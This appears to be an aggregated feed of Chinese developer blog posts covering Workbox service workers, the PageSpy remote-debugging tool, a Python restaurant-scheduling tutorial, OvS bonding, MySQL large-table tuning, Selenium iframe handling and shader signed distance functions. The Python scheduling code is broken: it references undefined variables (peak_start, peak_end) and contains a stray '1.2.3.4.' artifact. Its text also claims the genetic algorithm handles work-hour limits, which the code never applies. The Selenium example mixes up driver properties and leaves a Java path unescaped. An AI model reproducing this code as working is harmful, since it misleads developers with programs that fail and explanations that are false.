Service Worker 只能在 HTTPS 环境下注册(或在 localhost 上进行开发)。如果你尝试在 IP 地址或 HTTP 环境下注册,浏览器会拒绝注册。

解决方案:

  • 使用 HTTPS:在本地开发时,建议使用工具如 webpack-dev-serverBrowsersync 配置 HTTPS 环境。
  • 使用 localhost:如果你在本地开发中没有 HTTPS,确保使用 localhost 来访问应用。

5.2 SSL 证书错误

如果你使用了自签名 SSL 证书,浏览器可能会因为证书问题拒绝加载资源和注册 Service Worker。

解决方案:

  • 信任证书:在浏览器中手动信任自签名证书。
  • 使用有效的 SSL 证书:在生产环境中,使用受信任的证书。

5.3 Service Worker 注册失败

Service Worker 注册失败时,浏览器会在控制台中显示错误信息。常见的错误有 SecurityErrorNetworkError

解决方案:

  • 检查路径:确保 service-worker.js 文件路径正确。
  • 调试 Service Worker:在浏览器的开发者工具中查看 Application > Service Workers,检查 Service Worker 状态。

总结

通过 Workbox,开发者可以简化 Service Worker 的集成和缓存管理,提升 Web 应用的性能和离线体验。你可以通过配置合适的缓存策略、安装和激活 Service Worker 来管理静态资源和动态内容。结合 HTTPS 和正确的 SSL 配置,Workbox 可以帮助你实现更高效的缓存和离线体验。

by 愚z at January 20, 2025 03:28 AM

小程序开发体验差,你试过 PageSpy 了吗?

做过小程序的人都知道,小程序的开发体验很糟糕,其中一个很难受的点就是调试。虽然在电脑上开发可以用调试工具,但众所周知很多问题得到真机上才能暴露出来,而小程序真机调试用的 vconsole 又很鸡肋,屏幕小,输入难,还是阉割版(阉割了网络、存储功能,不知道出于什么考虑)。另一个缺陷是,无论是开发工具还是 vconsole,你都只能在「本机」上运行,测试同学要是离你很远的话,想喊你看个 bug,只能截图。

今天介绍一个神奇的工具,全方位的提升小程序的调试体验。

PageSpy 简介

官网:www.pagespy.org/

github:github.com/HuolalaTech…

# 相见恨晚的前端开发利器-PageSpy

PageSpy 是由货拉拉大前端开源的一款用于远程调试 Web 的工具,它可以针对远程页面提供类似 Chrome DevTools 的调试体验,无论网页实际运行在哪里。除了实时调试,它还支持离线录制,将已经发生的用户操作和历史日志录制下来随时回放。

除了 web 平台,它还把同样的调试功能带到了小程序上。我们来看看使用 PageSpy 调试小程序有什么不一样的体验。

部署和接入

PageSpy 分为服务端、调试端网页和客户端 SDK,官方文档有详细的部署和接入说明,这里不再赘述:

部署指南:www.pagespy.org/#/docs/depl…

小程序的 SDK 以 npm 包的方式提供:

import PageSpy from '@huolala-tech/page-spy-wechat';

const $pageSpy = new PageSpy({
  api: "<your-pagespy-host>",
})

详细参考:www.pagespy.org/#/docs/mini…

在线调试

针对小程序,目前 PageSpy 内置了四个模块:输出,网络,存储,系统。

1. 输出

1. 大屏看日志

比手机小屏上的 vconsole 爽多了,而且不受设备限制,无论小程序运行在什么设备上,都能通过调试端网页远程看到运行情况。

2. 远程执行代码

vconsole 输入很难受,而 PC 键盘输入的效率就很高,PageSpy 打破了小程序无法执行远程代码的限制。这一功能需要安装插件 @huolala-tech/page-spy-plugin-mp-eval 来支持。不过需要注意上线的时候要去掉,小程序对远程执行代码审查很严格,把该插件带到线上去的话很可能审核不通过。

3. 运行上下文

PageSpy 的远程执行代码和你自己写的代码运行在 「同一个上下文」。这有什么意义呢?

你可以自己试一下:

例如你在你的代码里为全局变量加一个字段:wx.a = 123,在 vconsole 里,你是获取不到这个变量的,反之亦然。

甚至 getCurrentPages 和 getApp 也不能用:

冷知识:小程序的 vconsole 和你的代码 不在一个上下文!

vconsole 是把用户环境的日志通过代理打印到了自己的上下文,又把 wx.xxx 之类的 api 代理到用户上下文去执行。微信似乎只想把它当成一个查看日志的窗口,而不希望用户利用它随意执行代码。

PageSpy 就不会有这个问题,它和你的代码运行在同一个上下文空间,可以直接和你的代码进行交互。

2. 网络

微信小程序自带的 vconsole 阉割了网络模块,所以在真机调试时看不到网络请求日志,非常的不方便。

来看 PageSpy 的网络面板:

和 Chrome 很像。通过 wx.request 发起的请求都可以记录到,而图片、字体之类的资源类请求还看不到,目前来说已经能带来很大帮助了。

3. 存储

小程序的 vconsole 同样也没有 storage 面板🤦🏻,只提供了一个清除 storage 的按钮,令人费解。

来看 PageSpy 的存储面板:

PageSpy 的 web 版 SDK 有 localStorage,sessionStorage,cookie,indexedDB 等多种存储方式,小程序原生只有一个 storage。不过未来倒是可能支持小程序的「本地临时文件」。

4. 系统

系统面板就是把你调用 wx.getSystemInfo、wx.getSetting 等系统 API 能获取到的信息,在这里更清晰、直观的列了出来。例如用户说他某个功能不起效,你看一下这里,可能就知道是不是因为他的系统版本过低,或者某个权限没开导致的。

用户授权信息:

5. 页面呢 ??

如果你用过 web 版的 PageSpy,会发现小程序版的比 web 版的少了一个「页面」模块。因为小程序本身的限制,没有办法拿到页面的 dom 结构,也就没法像 web 一样远程调试界面,这是目前唯一输给 vconsole 的点。也许未来发明了什么黑科技,或者官方良心发现放出一些接口,这个功能才得以实现。

离线录制

PageSpy 不仅支持实时调试,还支持离线录制。假如你在调试小程序的时候发现了一个问题而恰巧又没有连上实时调试,或者你想把某次操作记录存下来慢慢研究或者分享给其他人,就可以用到这个功能。

首先安装插件 @huolala-tech/page-spy-plugin-mp-data-harbor

import PageSpy from '@huolala-tech/page-spy-wechat';
// 引入离线录制插件
import DataHarborPlugin from '@huolala-tech/page-spy-plugin-mp-data-harbor';
// 注册插件
const harbor = new DataHarborPlugin(config);
PageSpy.registerPlugin(harbor);
// 实例化 pageSpy
const $pageSpy = new PageSpy();

添加了该插件之后,小程序的一切日志就会被离线的记录在内存中,之后你可以在需要的时候,调用 $pageSpy.showPanel()方法呼出一个弹窗,就可以将刚刚记录的日志传到 PageSpy 后台:

在 PageSpy 的调试端,进入「日志回放」页面,就可以看到刚刚上传的日志:

兼容性

小程序有那么多平台,每家都有差异,PageSpy 都支持吗?

是的,PageSpy 目前支持绝大部分市面上的小程序类型:微信、支付宝、抖音、百度、mpaas... 官方给出了4个小程序平台的包:

如果是用原生框架写的小程序,目前官方针对使用量较大的微信和支付宝提供了专门的原生 SDK:

@huolala-tech/page-spy-wechat

@huolala-tech/page-spy-alipay

如今很多小程序使用的是 uniapp 或 taro 之类的跨端框架,官方也提供了相应的 SDK:

@huolala-tech/page-spy-uniapp

@huolala-tech/page-spy-taro

如果你要开发抖音、百度、钉钉之类的冷门平台小程序,只要 uniapp 或者 taro 支持,那就可以用上 PageSpy。

除此之外,uniapp 编译的原生 APP,React Native,甚至鸿蒙应用,它都支持,全平台制霸了属于是。

扩展性

插件系统

前文提到的很多功能都依赖于插件,实际上 PageSpy 的所有功能模块都是通过插件实现的,输出、网络、存储、系统这些是内置插件,不需额外配置,而远程执行代码、离线日志是可选的插件。

除此之外你还可以开发自定义的插件,PageSpy 的核心功能是在客户端和调试端之间建立了一个双向的消息通道,通过自定义插件,你可以利用这条通道做你想做的任何事情。例如观测埋点上报,远程执行指令,甚至通过它远程聊天,发送语音视频消息,也不是不可能。

插件文档:

www.pagespy.org/#/docs/plug…

开源贡献

最后,不要忘了 PageSpy 是个开源软件,通过插件实现不了的,还可以贡献代码:

github:github.com/HuolalaTech…

by qkang at January 20, 2025 03:25 AM

juejin backend

Python 实战-优化排班表节省成本

1. 基础概念:理解排班表

排班表,顾名思义,就是安排员工工作时间的表格。在餐馆中,它通常需要考虑员工的可用性、工作时间限制、用餐高峰时段等因素。

2. 使用列表存储员工信息

首先,我们需要一个数据结构来存储员工信息。Python中的列表是一个不错的选择。

# 员工信息列表,包括姓名、可用时间段  
employees = [  
    {"name": "张三", "available": [(9, 17), (20, 23)]},  
    {"name": "李四", "available": [(10, 18), (21, 24)]},  
    # 更多员工...  
]  

3. 提取可用时间段

为了优化排班,我们需要知道每个员工在哪些时间段是可用的。

def get_available_times(employee):  
    return employee["available"]  

print(get_available_times(employees[0]))  # 输出: [(9, 17), (20, 23)]  
1.2.3.4.

4. 定义用餐高峰时段

餐馆通常有几个用餐高峰时段,我们需要确保在这些时段有足够的人手。

peak_hours = [(11, 14), (18, 21)]  

5. 初步排班:简单贪心算法

贪心算法是一种逐步构建解决方案的算法,每一步都选择当前最好的选择。我们可以尝试用这种方法来初步排班。

def greedy_scheduling(employees, peak_hours):  
    schedule = []  
    for start, end in peak_hours:  
        for emp in employees:  
            if any(peak_start <= t[0] < peak_end <= t[1] for t in emp["available"]):  
                schedule.append((emp["name"], start, end))  
                emp["available"] = [t for t in emp["available"] if not (peak_start <= t[0] < peak_end <= t[1])]  
                break  
    return schedule  

print(greedy_scheduling(employees, peak_hours))  

6. 优化:考虑员工工作时长

简单的贪心算法可能没有考虑到员工的工作时长限制。我们可以添加这个约束条件。

def consider_work_hours(schedule, employee, max_hours=8):  
    current_hours = sum((end - start) for _, start, end in schedule if _ == employee["name"])  
    return current_hours < max_hours  

def optimized_greedy_scheduling(employees, peak_hours, max_hours=8):  
    schedule = []  
    for start, end in peak_hours:  
        for emp in employees:  
            if consider_work_hours(schedule, emp, max_hours) and any(peak_start <= t[0] < peak_end <= t[1] for t in emp["available"]):  
                schedule.append((emp["name"], start, end))  
                emp["available"] = [t for t in emp["available"] if not (peak_start <= t[0] < peak_end <= t[1])]  
                break  
    return schedule  

print(optimized_greedy_scheduling(employees, peak_hours))  

7. 进阶:使用遗传算法优化排班

遗传算法是一种模拟自然选择和遗传机制的优化算法,适用于解决复杂问题。

import random  

# 定义遗传算法的基本组件  
def create_individual(employees, peak_hours):  
    # 随机选择员工覆盖高峰时段  
    individual = []  
    for start, end in peak_hours:  
        emp = random.choice([emp for emp in employees if any(peak_start <= t[0] < peak_end <= t[1] for t in emp["available"])])  
        individual.append((emp["name"], start, end))  
        emp["available"] = [t for t in emp["available"] if not (peak_start <= t[0] < peak_end <= t[1])]  
    return individual  

def fitness(individual):  
    # 定义一个简单的适应度函数,比如覆盖的高峰时段越多,适应度越高  
    covered_hours = sum(end - start for _, start, end in individual)  
    return covered_hours  

def select(population, fitnesses):  
    # 轮盘赌选择  
    total_fitness = sum(fitnesses)  
    probabilities = [f / total_fitness for f in fitnesses]  
    selected_indices = random.choices(range(len(population)), weights=probabilities, k=len(population))  
    return [population[i] for i in selected_indices]  

def crossover(parent1, parent2):  
    # 单点交叉  
    point = random.randint(1, len(parent1) - 1)  
    child1 = parent1[:point] + [t for t in parent2 if t not in parent1[:point]]  
    child2 = parent2[:point] + [t for t in parent1 if t not in parent2[:point]]  
    return child1, child2  

def mutate(individual, mutation_rate=0.1):  
    # 随机变异  
    if random.random() < mutation_rate:  
        idx = random.randint(0, len(individual) - 1)  
        individual[idx] = (random.choice([emp for emp in employees if emp["available"]]), *individual[idx][1:])  
    return individual  

# 遗传算法主流程  
def genetic_algorithm(employees, peak_hours, generations=100, population_size=10, mutation_rate=0.1):  
    population = [create_individual(employees.copy(), peak_hours) for _ in range(population_size)]  
    for _ in range(generations):  
        fitnesses = [fitness(ind) for ind in population]  
        population = select(population, fitnesses)  
        new_population = []  
        for i in range(0, len(population), 2):  
            parent1, parent2 = population[i], population[i + 1]  
            child1, child2 = crossover(parent1, parent2)  
            new_population.extend([mutate(child1, mutation_rate), mutate(child2, mutation_rate)])  
        population = new_population  
    return max(population, key=fitness)  

best_schedule = genetic_algorithm(employees, peak_hours)  
print(best_schedule)  

8. 实战案例:优化某餐馆的排班表

假设我们有一家小餐馆,有5名员工,每天有两个用餐高峰时段。我们希望用Python来优化排班表,减少人力成本。

# 员工信息  
employees = [  
    {"name": "张三", "available": [(9, 17), (20, 23)]},  
    {"name": "李四", "available": [(10, 18), (21, 24)]},  
    {"name": "王五", "available": [(11, 19), (22, 24)]},  
    {"name": "赵六", "available": [(9, 16), (20, 23)]},  
    {"name": "孙七", "available": [(10, 18), (21, 24)]},  
]  

# 用餐高峰时段  
peak_hours = [(11, 14), (18, 21)]  

# 使用遗传算法优化排班  
best_schedule = genetic_algorithm(employees, peak_hours, generations=200, population_size=20, mutation_rate=0.05)  
print("优化后的排班表:")  
for emp, start, end in best_schedule:  
    print(f"{emp}{start}{end}")  

实战案例分析

在这个案例中,我们通过遗传算法对餐馆的排班表进行了优化。与简单的贪心算法相比,遗传算法能够考虑到更多的因素,比如员工的工作时长限制、高峰时段的覆盖情况等,从而得到更合理的排班方案。通过优化排班表,餐馆可以减少不必要的人力成本,提高运营效率。

总结

本篇文章从基础概念出发,逐步介绍了如何使用Python来优化餐馆的排班表。我们首先从简单的列表存储员工信息开始,然后使用了贪心算法进行初步排班,接着考虑了员工的工作时长限制,最后引入了遗传算法来进一步优化排班。通过实战案例,我们展示了如何将这些方法应用到实际的餐馆运营中,从而节省成本,提高效率。

by 星辰聊技术 at January 20, 2025 03:20 AM

OvS 实现难点

OvS 实现难点

  • 兼容 OpenFlow 多个版本

兼容 OpenFlow 多个版本

在运行时的时候,需要兼容 OpenFlow 多个版本,比如同时支持多个不同 OpenFlow 网桥的协议解析

对于不同的 OpenFlow 版本,比如都是独立的 openflow1x.h 头文件。

实现兼容性的主要方法是从核心代码中抽象出差异的大部分细节,通过在OF1.X 和稍高级的抽象表示之间添加一个进行转换的协议层。。这种方法的核心是include/openvswitch/of-util.h 中的许多 struct ofputil_* 结构。

  • OpenFlow 1.1 support is complete.
  • OpenFlow 1.2 support is complete.
  • OpenFlow 1.3 support 不完全(原因:部分功能依赖内核支持)
  • 1.4 ...
  • 1.5 ...

ovs-vswitched 为 bond 实现基于以太网源地址和VLAN的“负载均衡”机制

In particular, the source MAC and VLAN tag are hashed into one of 256 values,实现了一个 bond hash 的 hash 表。每 10 秒,会触发一次重均衡。重均衡每次调整的权重是 0.1。最多允许的不平衡量是 3%。

只有当通过绑定的流量有多个以太网源地址时才有用,例如,来自多个虚拟机的网络流量通过绑定进行多路复用。

ovs-vswitchd 代码在 vswitchd/bridge.c

bond 子接口异常,自动切换到另一个 (方法:bond_enable_slave()): 会发送一个免费 ARP(比如: gratuitous learning packet),特别是 RARP。

  • 单播包: bond 会从所有 slave 卡接收
  • 多播: 只会从一个 slave 接收
  • 广播: 当虚拟机移动到另个节点的交换机上时,vswitch 会有一个例外规则:交换机会发 ARP reply 广播:用于表示,虚拟机的MAC 已经移动到别处了。APR reply 通常是一个单播,但在这个场景是一个广播。这个广播是从交换机的某个端口发出的,他的其他端口收到都会丢包。

使用 SLB Bonding

上面说的就是,基于源 MAC+VLAN 进行 hash

如果不使用 SLB bond,也没有任何流表控制,可能虚拟机热迁移会丢包超过一分钟(取决于旧的 arp 超时)

image.png

image.png

使用 LACP Bonding

依赖远程交换机实现 LACP, LACP 会协商(不用 OVS 自己的 SLB )

使用 主备 Bonding

by bobz965 at January 20, 2025 03:19 AM

千万级的大表,如何做性能优化?

大家好,我是苏三,又跟大家见面了。

前言

大表优化是一个老生常谈的话题,但随着业务规模的增长,总有人会“中招”。

很多小伙伴的数据库在刚开始的时候表现良好,查询也很流畅,但一旦表中的数据量上了千万级,性能问题就开始浮现,查询慢、写入卡、分页拖沓、甚至偶尔直接宕机。这

时大家可能会想,是不是数据库不行?是不是需要升级到更强的硬件?

其实很多情况下,根本问题在于没做好优化

今天,我们就从问题本质讲起,逐步分析大表常见的性能瓶颈,以及如何一步步优化。

苏三最近开源了一个基于 SpringBoot+Vue+uniapp 的商城项目,里面的技术亮点挺多的,欢迎访问和star。

一、为什么大表会慢?

在搞优化之前,先搞清楚大表性能问题的根本原因。数据量大了,为什么数据库就慢了?

1. 磁盘IO瓶颈

大表的数据是存储在磁盘上的,数据库的查询通常会涉及到数据块的读取。

当数据量很大时,单次查询可能需要从多个磁盘块中读取大量数据,磁盘的读写速度会直接限制查询性能。

举例:

假设有一张订单表orders,里面存了5000万条数据,你想要查询某个用户的最近10条订单:

SELECT * FROM orders WHERE user_id = 123 ORDER BY order_time DESC LIMIT 10;

如果没有索引,数据库会扫描整个表的所有数据,再进行排序,性能肯定会拉胯。

2. 索引失效或没有索引

如果表的查询没有命中索引,数据库会进行全表扫描(Full Table Scan),也就是把表里的所有数据逐行读一遍。

这种操作在千万级别的数据下非常消耗资源,性能会急剧下降。

举例:

比如你在查询时写了这样的条件:

SELECT * FROM orders WHERE DATE(order_time) = '2023-01-01';

这里用了DATE()函数,数据库需要对所有记录的order_time字段进行计算,导致索引失效。

3. 分页性能下降

分页查询是大表中很常见的场景,但深度分页(比如第100页之后)会导致性能问题。

即使你只需要10条数据,但数据库仍然需要先扫描出前面所有的记录。

举例:

查询第1000页的10条数据:

SELECT * FROM orders ORDER BY order_time DESC LIMIT 9990, 10;

这条SQL实际上是让数据库先取出前9990条数据,然后丢掉,再返回后面的10条。

随着页码的增加,查询的性能会越来越差。

4. 锁争用

在高并发场景下,多个线程同时对同一张表进行增删改查操作,会导致行锁或表锁的争用,进而影响性能。

二、性能优化的总体思路

性能优化的本质是减少不必要的IO、计算和锁竞争,目标是让数据库尽量少做“无用功”。

优化的总体思路可以总结为以下几点:

  1. 表结构设计要合理:尽量避免不必要的字段,数据能拆分则拆分。
  2. 索引要高效:设计合理的索引结构,避免索引失效。
  3. SQL要优化:查询条件精准,尽量减少全表扫描。
  4. 分库分表:通过水平拆分、垂直拆分减少单表数据量。
  5. 缓存和异步化:减少对数据库的直接压力。

接下来,我们逐一展开。

三、表结构设计优化

表结构是数据库性能优化的基础,设计不合理的表结构会导致后续的查询和存储性能问题。

1. 精简字段类型

字段的类型决定了存储的大小和查询的性能。

  • 能用INT的不要用BIGINT
  • 能用VARCHAR(100)的不要用TEXT
  • 时间字段建议用TIMESTAMPDATETIME,不要用CHARVARCHAR来存时间。

举例:

-- 不推荐
CREATE TABLE orders (
    id BIGINT,
    user_id BIGINT,
    order_status VARCHAR(255),
    remarks TEXT
);

-- 优化后
CREATE TABLE orders (
    id BIGINT,
    user_id INT UNSIGNED,
    order_status TINYINT, -- 状态用枚举表示
    remarks VARCHAR(500) -- 限制最大长度
);

这样可以节省存储空间,查询时也更高效。

2. 表拆分:垂直拆分与水平拆分

垂直拆分

当表中字段过多,某些字段并不是经常查询的,可以将表按照业务逻辑拆分为多个小表。

示例: 将订单表分为两个表:orders_basicorders_details

-- 基本信息表
CREATE TABLE orders_basic (
    id BIGINT PRIMARY KEY,
    user_id INT UNSIGNED,
    order_time TIMESTAMP
);

-- 详情表
CREATE TABLE orders_details (
    id BIGINT PRIMARY KEY,
    remarks VARCHAR(500),
    shipping_address VARCHAR(255)
);

水平拆分

当单表的数据量过大时,可以按一定规则拆分到多张表中。

示例: 假设我们按用户ID对订单表进行水平拆分:

orders_0 -- 存user_id % 2 = 0的订单
orders_1 -- 存user_id % 2 = 1的订单

拆分后每张表的数据量大幅减少,查询性能会显著提升。

四、索引优化

索引是数据库性能优化的“第一杀器”,但很多人对索引的使用并不熟悉,导致性能不升反降。

1. 创建合适的索引

为高频查询的字段创建索引,比如主键、外键、查询条件字段。

示例:

CREATE INDEX idx_user_id_order_time ON orders (user_id, order_time DESC);

上面的复合索引可以同时加速user_idorder_time的查询。

2. 避免索引失效

  • 别对索引字段使用函数或运算
    错误:

    SELECT * FROM orders WHERE DATE(order_time) = '2023-01-01';
    

    优化:

    SELECT * FROM orders WHERE order_time >= '2023-01-01 00:00:00'
      AND order_time < '2023-01-02 00:00:00';
    
  • 注意隐式类型转换
    错误:

    SELECT * FROM orders WHERE user_id = '123';
    

    优化:

    SELECT * FROM orders WHERE user_id = 123;
    

五、SQL优化

1. 减少查询字段

只查询需要的字段,避免SELECT *

-- 错误
SELECT * FROM orders WHERE user_id = 123;

-- 优化
SELECT id, order_time FROM orders WHERE user_id = 123;

2. 分页优化

深度分页时,使用“延迟游标”的方式避免扫描过多数据。

-- 深分页(性能较差)
SELECT * FROM orders ORDER BY order_time DESC LIMIT 9990, 10;

-- 优化:使用游标
SELECT * FROM orders WHERE order_time < '2023-01-01 12:00:00'
  ORDER BY order_time DESC LIMIT 10;

最近就业形势比较困难,为了感谢各位小伙伴对苏三一直以来的支持,我特地创建了一些工作内推群, 看看能不能帮助到大家。

你可以在群里发布招聘信息,也可以内推工作,也可以在群里投递简历找工作,也可以在群里交流面试或者工作的话题。

添加苏三的私人微信:su_san_java,备注:掘金+所在城市,即可加入。

六、分库分表

1. 水平分库分表

当单表拆分后仍无法满足性能需求,可以通过分库分表将数据分散到多个数据库中。

常见的分库分表规则:

  • 按用户ID取模。
  • 按时间分区。

七、缓存与异步化

1. 使用Redis缓存热点数据

对高频查询的数据可以存储到Redis中,减少对数据库的直接访问。

示例:

// 从缓存读取数据
String result = redis.get("orders:user:123");
if (result == null) {
    result = database.query("SELECT * FROM orders WHERE user_id = 123");
    redis.set("orders:user:123", result, 3600); // 设置缓存1小时
}

2. 使用消息队列异步处理写操作

高并发写入时,可以将写操作放入消息队列(如Kafka),然后异步批量写入数据库,减轻数据库压力。

八、实战案例

问题:

某电商系统的订单表存储了5000万条记录,用户查询订单详情时,页面加载时间超过10秒。

解决方案:

  1. 垂直拆分订单表:将订单详情字段拆分到另一个表中。
  2. 创建复合索引:为user_idorder_time创建索引。
  3. 使用Redis缓存:将最近30天的订单缓存到Redis中。
  4. 分页优化:使用search_after代替LIMIT深分页。

九、总结

大表性能优化是一个系统性工程,需要从表结构、索引、SQL到架构设计全方位考虑。

千万级别的数据量看似庞大,但通过合理的拆分、索引设计和缓存策略,可以让数据库轻松应对。

最重要的是,根据业务特点选择合适的优化策略,切勿盲目追求“高大上”的方案

希望这些经验能帮到你!

最后说一句(求关注,别白嫖我)

如果这篇文章对您有所帮助,或者有所启发的话,帮忙关注一下我的同名公众号:苏三说技术,您的支持是我坚持写作最大的动力。

求一键三连:点赞、转发、在看。

关注公众号:【苏三说技术】,在公众号中回复:进大厂,可以免费获取我最近整理的50万字的面试宝典,好多小伙伴靠这个宝典拿到了多家大厂的offer。

by 苏三说技术 at January 20, 2025 03:17 AM

juejin frontend

《手把手教你》系列技巧篇(四十一)-java+ selenium自动化测试 - 处理iframe -上篇(详解教程)

1.简介

  原估计宏哥这里就不对iframe这个知识点做介绍和讲解了,因为前边的窗口切换就为这种网页处理提供了思路,另一个原因就是虽然iframe很强大,但是现在很少有网站用它了。但是还是有小伙伴或者童鞋们私下问这个问题,那么宏哥就单独写一篇关于iframe网页处理的文章。

2.iframe是什么

  iframe就是我们常用的iframe标签:。iframe标签是框架的一种形式,也比较常用到,iframe一般用来包含别的页面,例如我们可以在我们自己的网站页面加载别人网站或者本站其他页面的内容。iframe标签的最大作用就是让页面变得美观。iframe标签的用法有很多,主要区别在于对iframe标签定义的形式不同,例如定义iframe的长宽高。简单的一句话概括就是:iframe 就是HTML 中,用于网页嵌套网页的。 一个网页可以嵌套到另一个网页中,可以嵌套很多层。和俄罗斯套娃差不多吧。

3.selenium处理iframe的方法

// 进入 id 叫frameA 的 iframe
dr.switchTo().frame("frameA");

// 回到主窗口
dr.switchTo().defaultContent();

4.项目实战

网上找了半天也没有找到这样的例子,以前百度、163的邮箱是这种。最近几年技术升级了,已经不是这种了。不找了索性宏哥自己在本地做一个这样的小demo给小伙伴或者童鞋们来演示一下。

注:本文演示的数据大家可以在公众号后台回复 宏哥41,在java+selenium->41 文件夹领取。

 4.1被测的HTML代码

1.准备测试练习index.html,如下:

<!DOCTYPE html>
<html>
<head>
    <title>北京-宏哥|iframeTestDemo</title>
    <style type="text/css">
        
        .button1 {
            background-color: #f44336; 
            border: none;
            color: white;
            padding: 15px 32px;
            text-align: center;
            text-decoration: none;
            display: inline-block;
            font-size: 28px;
            margin-bottom: 100px;
            text-decoration:none;
            color: white;
        }
        #myAnchor
        {
          text-decoration:none;
          color: white;
        }
    </style>
</head>
<body style="text-align:center">
<div id="wrapper" style="position: relative;top: 100px;left:0px;">
    <button class="button1"><a id="myAnchor" href="https://www.cnblogs.com/du-hong/">北京-宏哥</a></button></br>
    <div id="id1">I am a index page's div!</div>
    <input type="text" id="maininput" />
    <br/>
    <iframe id="frameA" frameborder="0" scrolling="no" style="left:857px;position:absolute;" src="iframe.html"></iframe>
</div>
</body>
</html> 

2.准备测试练习iframe.html,如下:

<!DOCTYPE html>
<html>
<head>
    <title>I am a iframe!</title>
</head>
<body>
    <div id="div1">I am iframes div!</div>
    <input id="iframeinput"></input>
</body>
</html> 

3.页面效果,如下图所示:

5.代码实战练习

5.1代码设计

5.2参考代码

package lessons;

import java.util.concurrent.TimeUnit;

import org.junit.Test;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.chrome.ChromeDriver;

/**
 * @author 北京-宏哥
 * 
 * 《手把手教你》系列技巧篇(四十一)-java+ selenium自动化测试 - 处理iframe(详解教程)
 *
 * 2025年01月20日
 */
public class testIframe {
    
    @Test 
    public void testRadio() throws InterruptedException { 
        System.setProperty("webdriver.gecko.driver", ".\Tools\chromedriver.exe");
        
        WebDriver driver =null;
        driver =new ChromeDriver();
        driver.get("file:///C:/Users/DELL/Desktop/test/iframe/index.html"); 
        driver.manage().window().maximize(); 
        driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS); 
        // 在 主窗口的时候
        driver.findElement(By.id("maininput")).sendKeys("This is a main input!");
        // 此时 没有进入到iframe, 以下语句会报错
        //driver.findElement(By.id("iframeinput")).sendKeys("iframe input");
                
        driver.switchTo().frame("frameA");
        driver.findElement(By.id("iframeinput")).sendKeys("This is a iframe input!");
        
        // 此时没有在主窗口,下面语句会报错
        //driver.findElement(By.id("maininput")).sendKeys("main input");
        
        // 回到主窗口
        driver.switchTo().defaultContent();
        driver.findElement(By.id("maininput")).sendKeys("This is a main input!");  
        
    }

}

5.3运行代码

1.运行代码,右键Run AS->Junit Test,控制台输出,如下图所示:

2.运行代码后电脑端的浏览器的动作,如下小视频所示:

6.小结

 好了,时间不早了,今天就分享到这里,下一篇宏哥找一个还有iframe的在线网页给小伙伴或者童鞋们实战演示一下。

by 北京_宏哥 at January 20, 2025 03:16 AM

【shader基础】2D符号距离函数及其变换操作,用shader画个掘金logo

混掘金社区,是时候学习怎么用shader画一个掘金Logo了!

1. shadertoy

可以安装vscodeShader Toy插件或者使用线上的shadertoy(www.shadertoy.com/new)

  • 常用内置变量
uniform vec2 iResolution;//屏幕宽高
uniform vec3 iMouse;//x,y对应鼠标悬浮在屏幕的坐标,z>0的时候触发点击
uniform float iTime;//随时间递增的变量
  • 计算UV,画布像素坐标fragCoord范围[0,1],因为画布大小会导致画布形状拉伸变形,所以需要除以画布宽高的对应比例。为了绘制方便,将坐标的范围转换为[-1,1]
vec2 getUV(vec2 fragCoord) {
    return (2.0 * fragCoord - iResolution.xy) / min(iResolution.x, iResolution.y);
}

2.用符号距离函数SDF画一个圆

符号距离函数(sign distance function),简称SDF,又可以称为定向距离函数(oriented distance function),在空间中的一个有限区域上确定一个点到区域边界的距离并同时对距离的符号进行定义:点在区域边界内部为正,外部为负,位于边界上时为0。

  • 圆的距离函数,p像素点坐标,center为圆的坐标,r为圆的半径,计算像素点到圆心的距离与半径的差
float sdCircle(vec2 p, vec2 center, float r) {
    return length(p - center) - r;
}
  • 绘制圆
void mainImage(out vec4 fragColor, in vec2 fragCoord) {
    vec2 uv = getUV(fragCoord);
    //圆的距离
    float d = sdCircle(uv, vec2(0.), 0.7);
    //圆的颜色,红色
    vec3 circleColor = vec3(1., 0., 0.);    
    vec3 color = (1. - sign(d)) * circleColor;
    fragColor = vec4(color, 1.);
}
  • sign:返回数值的正负符号,-1负,1正,0
  • sign(d):-1在圆内,0在边上,1在圆外
  • 1.-sign(d)通过取反,即1为在圆内,显示圆的颜色

image.png

//六边形
float sdHexagon( in vec2 p, in float r )
{
    const vec3 k = vec3(-0.866025404,0.5,0.577350269);
    p = abs(p);
    p -= 2.0*min(dot(k.xy,p),0.0)*k.xy;
    p -= vec2(clamp(p.x, -k.z*r, k.z*r), r);
    return length(p)*sign(p.y);
}

image.png

3.形状变换

  • 移动形状,就是坐标xy加减沿xy轴正负方向变化
const float PI = 3.1415926;
float shape(in vec2 p) {
    //沿着圆弧移动
    vec2 translate = vec2(cos(iTime * PI), sin(iTime * PI)) * 0.5;
    //坐标移动
    vec2 m = translate + p;
    //六边形
    return sdHexagon(m, 0.3);
}

20250119_220703.gif

  • 旋转形状
//旋转矩阵
mat2 rotate2d(float _angle) {
    return mat2(cos(_angle), -sin(_angle), sin(_angle), cos(_angle));
}
const float PI = 3.1415926;
float shape(in vec2 p) {
    //坐标旋转
    vec2 m = rotate2d(iTime * PI) * p;
    //六边形
    return sdHexagon(m, 0.7);
}

20250119_215921.gif

  • 放缩形状,将坐标xy乘以缩放值
const float PI = 3.1415926;
float shape(in vec2 p) {   
    //坐标放缩
    vec2 m = vec2(sin(iTime * PI * 0.2)) * p;
    //六边形
    return sdHexagon(m, 0.3);
}

20250119_223049.gif

4. 绘制多个形状

  • 取多个形状的符号距离函数的最小值min作为绘制形状的距离
//p像素坐标
float shape(in vec2 p) {
//左上圆
    float d = sdCircle(p - vec2(-0.5, 0.5), 0.2);
    //右上圆
    d = min(d, sdCircle(p - vec2(0.5, 0.5), 0.2));
    //下中圆
    return min(d, sdCircle(p - vec2(0., 0.), 0.5));
}

image.png

  • 按角度平均等分,设置形状位置
//r半径,a占角度的比例
vec2 anglePos(float r, float a) {
    a *= PI * 2.0;
    return r * vec2(sin(a), cos(a));
}
float shape(in vec2 p) {
    float d = 9.;
    //360度六等分
    float unit = 1. / 6.;
    //坐标偏移半径
    float radius = 0.5;
    //遍历绘制多个圆形
    for(int i = 0; i < 6; i++) {
        d = min(d, sdCircle(p - anglePos(radius, float(i) * unit), 0.2));
    }
    return d;
}

image.png

  • vec4(距离,颜色rgb)来记录每个形状颜色距离信息,给不同形状赋值不同颜色,重写min函数,返回距离函数中最小值的对应向量值
vec4 minV(vec4 a, vec4 b) {
    return a.x < b.x ? a : b;
}
  • 对应调整一下形状距离函数
vec4 shape(in vec2 p) {
    //左上红色圆
